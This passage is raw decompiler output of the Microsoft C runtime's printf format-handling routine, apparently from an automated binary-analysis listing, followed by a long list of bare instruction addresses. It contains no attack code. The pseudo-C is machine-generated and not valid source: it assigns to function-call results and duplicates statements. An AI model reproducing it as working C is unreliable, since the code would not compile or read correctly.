																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004283F0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x294) =  *(__ebp - 4);
																			while(1) {
																				L97:
																				__edx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags =  *(__ebp - 0x290);
																				if( *(__ebp - 0x290) == 0) {
																					break;
																				}
																				L98:
																				__ecx =  *(__ebp - 0x294);
																				__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L99:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																			}
																			L100:
																			 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																			__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																			 *(__ebp - 0x24) = __ecx;
																			L108:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																	case 0xc:
																		L145:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004283F0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																}
															case 8:
																L30:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																goto L33;
															case 9:
																L31:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L33;
															case 0xa:
																L29:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xb:
																L28:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L33;
															case 0xc:
																L32:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																goto L33;
															case 0xd:
																L33:
																goto L218;
														}
													} else {
														if(0 == 0) {
															 *(_t557 - 0x314) = 0;
														} else {
															 *(_t557 - 0x314) = 1;
														}
														_t543 =  *(_t557 - 0x314);
														 *(_t557 - 0x278) =  *(_t557 - 0x314);
														if( *(_t557 - 0x278) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t526 = L0041E410();
															_t559 = _t559 + 0x14;
															if(_t526 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t557 - 0x278) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422F00(_t543))) = 0x16;
															E00422C90(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t557 - 0x2f0) = 0xffffffff;
															E0041AEB0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2f0);
															L229:
															return E0042BD50(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
														}
													}
												}
												L219:
												__eflags =  *(_t557 - 0x25c);
												if( *(_t557 - 0x25c) == 0) {
													L222:
													 *(_t557 - 0x334) = 1;
													L223:
													_t530 =  *(_t557 - 0x334);
													 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t504 = L0041E410();
														_t559 = _t559 + 0x14;
														__eflags = _t504 - 1;
														if(_t504 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t557 - 0x2e0);
													if( *(_t557 - 0x2e0) != 0) {
														 *(_t557 - 0x300) =  *(_t557 - 0x24c);
														E0041AEB0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x300);
													} else {
														 *((intOrPtr*)(L00422F00(_t530))) = 0x16;
														E00422C90(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t557 - 0x2fc) = 0xffffffff;
														E0041AEB0(_t557 - 0x40);
														_t499 =  *(_t557 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t557 - 0x25c) - 7;
												if( *(_t557 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t557 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L189:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L190;
										}
										L188:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L190;
										}
										goto L189;
									}
									L183:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2bc);
									__edx =  *(__ebp - 0x2c0);
									__eax = E00430820( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
									 *(__ebp - 0x2ac) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2bc);
									__ecx =  *(__ebp - 0x2c0);
									 *(__ebp - 0x2c0) = E004308A0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2bc) = __edx;
									__eflags =  *(__ebp - 0x2ac) - 0x39;
									if( *(__ebp - 0x2ac) > 0x39) {
										__edx =  *(__ebp - 0x2ac);
										__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2ac) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2ac);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									goto L182;
								}
							}
							L168:
							__eflags =  *(__ebp - 0x2b8);
							if( *(__ebp - 0x2b8) >= 0) {
								goto L170;
							}
							goto L169;
							L170:
							__ecx =  *(__ebp - 0x2b8);
							 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
							__edx =  *(__ebp - 0x2b4);
							 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
							goto L171;
						}
					}
				}
			}

0x00435047
0x00435047
0x00435047
0x00435047
0x00435047
0x00435047
0x00435047
0x00435051
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00435178
0x00435178
0x0043517f
0x00000000
0x00000000
0x00435181
0x00435181
0x0043518c
0x00435192
0x00435194
0x0043519a
0x0043519d
0x0043519f
0x004351a5
0x004351ae
0x004351b3
0x004351d0
0x004351d3
0x004351d3
0x004351d8
0x004351dd
0x004351dd
0x004351e3
0x004351e5
0x004351eb
0x004351f1
0x004351f1
0x004351fa
0x004351fa
0x004351e3
0x00435200
0x00435204
0x00435212
0x00435215
0x00435218
0x0043521f
0x00435221
0x00435221
0x00435206
0x00435206
0x00435206
0x0043522e
0x0043522e
0x00435234
0x00435236
0x00435236
0x0043523d
0x00435240
0x00435243
0x00435243
0x00435243
0x00435249
0x0043524c
0x0043524f
0x00435251
0x00000000
0x00000000
0x00435253
0x00435259
0x00435259
0x0043525f
0x004352dc
0x004352df
0x004352e2
0x004352e5
0x004352e8
0x004352eb
0x004352f1
0x004352f1
0x004352f7
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x0043532c
0x0043532f
0x0043532f
0x00435332
0x00435337
0x00435337
0x0043533c
0x0043534e
0x0043534e
0x00435351
0x00435363
0x00435363
0x00435366
0x00435368
0x0043536c
0x0043536c
0x00435353
0x00435353
0x00435357
0x00435357
0x0043533e
0x0043533e
0x00435342
0x00435342
0x0043533c
0x00435376
0x00435379
0x0043537c
0x00435385
0x00435385
0x00435388
0x0043538a
0x00435391
0x00435395
0x0043539e
0x004353a3
0x004353a6
0x004353ad
0x004353b1
0x004353b5
0x004353c1
0x004353c4
0x004353c4
0x004353c7
0x004353cc
0x004353cc
0x004353cf
0x004353d1
0x004353d8
0x004353dc
0x004353e5
0x004353ea
0x004353cf
0x004353ed
0x004353f1
0x004354c5
0x004354c5
0x004354cc
0x004354d0
0x004354d4
0x004354d8
0x00000000
0x004353f7
0x004353f7
0x004353f7
0x004353fb
0x00000000
0x00000000
0x00435401
0x00435401
0x0043540b
0x0043540e
0x00435414
0x00435417
0x0043541d
0x0043541d
0x0043541d
0x00435429
0x0043542c
0x00435432
0x00435434
0x00000000
0x00000000
0x0043543a
0x0043543a
0x00435443
0x0043544a
0x00435454
0x0043545b
0x0043546a
0x00435476
0x00435479
0x0043547f
0x00435486
0x00435491
0x00435491
0x00000000
0x00435491
0x00435488
0x00435488
0x0043548f
0x0043549d
0x0043549d
0x004354a4
0x004354a8
0x004354b6
0x00000000
0x004354bb
0x00000000
0x0043548f
0x004354c3
0x004354e0
0x004354e0
0x004354e7
0x004354ec
0x004354ec
0x004354ef
0x004354f1
0x004354f8
0x004354fc
0x00435505
0x0043550a
0x004354ef
0x004354e7
0x0043550d
0x0043550d
0x00435511
0x00435519
0x00435521
0x00435521
0x00435528
0x00435528
0x004345ff
0x00434605
0x00434612
0x00434617
0x00000000
0x0043462a
0x00434634
0x0043465b
0x00434642
0x00434653
0x00434653
0x00434634
0x00434665
0x0043466b
0x00434677
0x0043467a
0x00434688
0x0043468b
0x00434698
0x0043473d
0x00434743
0x00434749
0x00434750
0x00000000
0x00000000
0x00434756
0x0043475c
0x00000000
0x00434763
0x00434763
0x0043477b
0x00434780
0x00434783
0x00434785
0x0043483f
0x00434852
0x00434857
0x00000000
0x0043478b
0x0043479e
0x004347a3
0x004347a9
0x004347ab
0x004347b4
0x004347b4
0x004347b7
0x004347c3
0x004347c7
0x004347cd
0x004347cf
0x004347d4
0x004347d6
0x004347db
0x004347e0
0x004347e2
0x004347e7
0x004347ea
0x004347ed
0x004347ef
0x004347ef
0x004347ed
0x004347f0
0x004347f0
0x004347f7
0x00000000
0x004347f9
0x004347fe
0x0043481a
0x00434822
0x0043482f
0x00434834
0x00000000
0x00434834
0x004347f7
0x00000000
0x0043485f
0x0043485f
0x00434866
0x00434869
0x0043486c
0x0043486f
0x00434872
0x00434875
0x00434878
0x0043487f
0x00434886
0x00000000
0x00000000
0x00434892
0x00434892
0x00434899
0x004348a5
0x004348a8
0x004348ae
0x004348b5
0x00000000
0x00000000
0x004348b7
0x004348b7
0x004348bd
0x004348bd
0x004348c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434907
0x00434907
0x0043490e
0x00434911
0x0043493b
0x0043493e
0x0043493e
0x00434941
0x00434948
0x00434948
0x0043494c
0x00434913
0x00434913
0x0043491f
0x00434922
0x00434926
0x00434928
0x0043492b
0x0043492b
0x0043492e
0x00434934
0x00434936
0x00434936
0x00434939
0x00000000
0x00000000
0x00434954
0x00434954
0x00000000
0x00000000
0x00434960
0x00434960
0x00434967
0x0043496a
0x0043498a
0x0043498d
0x0043498d
0x00434997
0x00434997
0x0043499b
0x0043496c
0x0043496c
0x00434978
0x0043497b
0x0043497f
0x00434981
0x00434981
0x00434988
0x00000000
0x00000000
0x004349a3
0x004349a3
0x004349aa
0x004349b6
0x004349b9
0x004349bf
0x004349c6
0x00434ad9
0x00000000
0x00434ad9
0x004349cc
0x004349cc
0x004349d2
0x004349d2
0x004349d9
0x00000000
0x00434a0f
0x00434a0f
0x00434a12
0x00434a15
0x00434a18
0x00434a40
0x00434a40
0x00434a43
0x00434a46
0x00434a49
0x00434a6e
0x00434a6e
0x00434a71
0x00434a74
0x00434a77
0x00434ab0
0x00434ac1
0x00000000
0x00434ac1
0x00434a79
0x00434a79
0x00434a7c
0x00434a7f
0x00434a82
0x00000000
0x00000000
0x00434a84
0x00434a84
0x00434a87
0x00434a8a
0x00434a8d
0x00000000
0x00000000
0x00434a8f
0x00434a8f
0x00434a92
0x00434a95
0x00434a98
0x00000000
0x00000000
0x00434a9a
0x00434a9a
0x00434a9d
0x00434aa0
0x00434aa3
0x00000000
0x00000000
0x00434aa5
0x00434aa5
0x00434aa8
0x00434aab
0x00434aae
0x00434ab2
0x00000000
0x00434ab2
0x00000000
0x00434aae
0x00434a4b
0x00434a4b
0x00434a4e
0x00434a52
0x00434a55
0x00000000
0x00434a57
0x00434a5a
0x00434a5d
0x00434a60
0x00434a63
0x00434a69
0x00000000
0x00434a69
0x00434a55
0x00434a1a
0x00434a1a
0x00434a1d
0x00434a21
0x00434a24
0x00000000
0x00434a26
0x00434a29
0x00434a2c
0x00434a2f
0x00434a32
0x00434a38
0x00000000
0x00434a38
0x00000000
0x00434ac3
0x00434ac6
0x00434ac9
0x00000000
0x00000000
0x004349e0
0x004349e0
0x004349e3
0x004349e6
0x004349e9
0x00434a01
0x00434a04
0x00434a04
0x00434a07
0x004349eb
0x004349ee
0x004349f1
0x004349f7
0x004349fc
0x004349fc
0x00000000
0x00000000
0x00434ace
0x00434ace
0x00434ad1
0x00434ad1
0x00434ad6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae5
0x00434af1
0x00434af4
0x00434afa
0x00434b01
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434b07
0x00434b0d
0x00434b0d
0x00434b14
0x00000000
0x00434e6e
0x00434e6e
0x00434e75
0x00434e7c
0x00434e7c
0x00434e7f
0x00000000
0x00000000
0x00434b1b
0x00434b1e
0x00434b1e
0x00434b24
0x00434b26
0x00434b29
0x00434b29
0x00434b2e
0x00434b2e
0x00000000
0x00000000
0x00434c5b
0x00434c5e
0x00434c5e
0x00434c63
0x00434c65
0x00434c68
0x00434c68
0x00434c6e
0x00434c6e
0x00000000
0x00000000
0x0043503b
0x0043503b
0x00435051
0x00435051
0x0043505b
0x0043505b
0x00435061
0x00435063
0x0043506d
0x0043506d
0x00435070
0x00435073
0x00435073
0x00000000
0x00000000
0x00434bc5
0x00434bc5
0x00434bd1
0x00434bd7
0x00434bde
0x00434bec
0x00434bec
0x00434bf2
0x00434bf5
0x00434c01
0x00434c56
0x00000000
0x00434c56
0x00434be0
0x00434be0
0x00434be6
0x00434bea
0x00434c06
0x00434c09
0x00434c09
0x00434c0f
0x00434c37
0x00434c3e
0x00434c44
0x00434c47
0x00434c4a
0x00434c50
0x00434c53
0x00434c11
0x00434c11
0x00434c17
0x00434c1a
0x00434c1d
0x00434c23
0x00434c26
0x00434c29
0x00434c2b
0x00434c2e
0x00434c2e
0x00000000
0x00434c0f
0x00000000
0x00000000
0x00434e85
0x00434e88
0x00434e8b
0x00434e8e
0x00434e94
0x00434e97
0x00434e9e
0x00434ea2
0x00434ead
0x00434ead
0x00434eb1
0x00434ec8
0x00434ec8
0x00434ecf
0x00434ed1
0x00434ed1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ef0
0x00434eff
0x00434f02
0x00434f06
0x00434f1c
0x00434f08
0x00434f08
0x00434f0b
0x00434f11
0x00434f17
0x00434f17
0x00434f06
0x00434f26
0x00434f29
0x00434f2c
0x00434f2f
0x00434f32
0x00434f35
0x00434f3b
0x00434f41
0x00434f49
0x00434f4a
0x00434f4d
0x00434f4e
0x00434f51
0x00434f52
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f68
0x00434f69
0x00434f77
0x00434f79
0x00434f7f
0x00434f7f
0x00434f85
0x00434f87
0x00434f8b
0x00434f8d
0x00434f95
0x00434f96
0x00434f99
0x00434f9a
0x00434fa8
0x00434faa
0x00434faa
0x00434f8b
0x00434fad
0x00434fb4
0x00434fb7
0x00434fbc
0x00434fbc
0x00434fc2
0x00434fc4
0x00434fcc
0x00434fcd
0x00434fd0
0x00434fd1
0x00434fe0
0x00434fe2
0x00434fe2
0x00434fc2
0x00434fe5
0x00434fe8
0x00434feb
0x00434fee
0x00434ff3
0x00434ff9
0x00434ffc
0x00434fff
0x00434fff
0x00435002
0x00435002
0x00435005
0x00435011
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435322
0x00434eb3
0x00434eb3
0x00434eba
0x00434ebd
0x00000000
0x00000000
0x00434ebf
0x00434ebf
0x00000000
0x00434ebf
0x00434ea4
0x00434ea4
0x00000000
0x00000000
0x00434b31
0x00434b34
0x00434b34
0x00434b3a
0x00434b95
0x00434b9d
0x00434ba4
0x00434baa
0x00434bb0
0x00434b3c
0x00434b3c
0x00434b46
0x00434b4a
0x00434b52
0x00434b59
0x00434b66
0x00434b6d
0x00434b79
0x00434b7f
0x00434b86
0x00434b88
0x00434b88
0x00434b8f
0x00434bb7
0x00434bbd
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00000000
0x00435019
0x0043501c
0x0043501f
0x00435022
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00434d77
0x00434d77
0x00434d83
0x00434d89
0x00434d8e
0x00434d90
0x00434e3a
0x00434e3d
0x00434e3d
0x00434e40
0x00434e54
0x00434e5a
0x00434e60
0x00434e42
0x00434e42
0x00434e4f
0x00434e4f
0x00434e62
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00435322
0x00434d96
0x00434d96
0x00434d96
0x00434d98
0x00434da6
0x00434d9a
0x00434d9a
0x00434d9a
0x00434db0
0x00434db6
0x00434dbc
0x00434dc3
0x00434dc5
0x00434dca
0x00434dcc
0x00434dd1
0x00434dd6
0x00434dd8
0x00434ddd
0x00434de0
0x00434de3
0x00434de5
0x00434de5
0x00434de3
0x00434de6
0x00434ded
0x00434e35
0x00435322
0x00435322
0x00435322
0x00435326
0x00000000
0x00000000
0x00000000
0x00435326
0x00434def
0x00434def
0x00434df4
0x00434e10
0x00434e18
0x00434e22
0x00434e25
0x00434e2a
0x00000000
0x00434e2a
0x00000000
0x0043507c
0x0043507c
0x00435086
0x00435086
0x0043508c
0x0043508e
0x00435091
0x00435091
0x00435097
0x00435097
0x0043509a
0x0043509a
0x0043509d
0x0043509d
0x004350a2
0x004350c4
0x004350c4
0x004350ca
0x004350ec
0x004350ec
0x004350ef
0x00435136
0x00435136
0x00435139
0x00435156
0x0043515a
0x00435162
0x00435162
0x00435164
0x0043516a
0x0043513b
0x0043513b
0x0043513f
0x00435147
0x00435148
0x0043514e
0x0043514e
0x004350f1
0x004350f4
0x004350f4
0x004350f7
0x00435115
0x00435121
0x00435124
0x00435125
0x0043512b
0x004350f9
0x004350f9
0x004350fd
0x00435105
0x00435106
0x00435107
0x0043510d
0x0043510d
0x00435131
0x004350cc
0x004350cc
0x004350d8
0x004350de
0x004350de
0x004350a4
0x004350a4
0x004350b0
0x004350b6
0x004350b6
0x00435173
0x00435173
0x00435176
0x00000000
0x00000000
0x00000000
0x00435176
0x00000000
0x00435034
0x00435034
0x00000000
0x00000000
0x00434c71
0x00434c71
0x00434c75
0x00434c83
0x00434c86
0x00434c77
0x00434c77
0x00434c77
0x00434c8c
0x00434c92
0x00434c98
0x00434ca4
0x00434caa
0x00434caa
0x00434cb0
0x00434d17
0x00434d17
0x00434d1b
0x00434d1d
0x00434d23
0x00434d23
0x00434d26
0x00434d29
0x00434d2f
0x00434d2f
0x00434d2f
0x00434d3b
0x00434d3e
0x00434d44
0x00434d46
0x00000000
0x00000000
0x00434d48
0x00434d48
0x00434d4e
0x00434d51
0x00434d53
0x00000000
0x00000000
0x00434d55
0x00434d5b
0x00434d5e
0x00434d5e
0x00434d66
0x00434d66
0x00434d6c
0x00434d6c
0x00434d6f
0x00000000
0x00434cb2
0x00434cb2
0x00434cb2
0x00434cb6
0x00434cb8
0x00434cbd
0x00434cbd
0x00434cc0
0x00434cc7
0x00434cca
0x00434cd0
0x00434cd0
0x00434cd0
0x00434cdc
0x00434cdf
0x00434ce5
0x00434ce7
0x00000000
0x00000000
0x00434ce9
0x00434ce9
0x00434cef
0x00434cf2
0x00434cf4
0x00000000
0x00000000
0x00434cf6
0x00434cfc
0x00434cff
0x00434cff
0x00434d07
0x00434d0d
0x00434d10
0x00434d12
0x00434d72
0x00435322
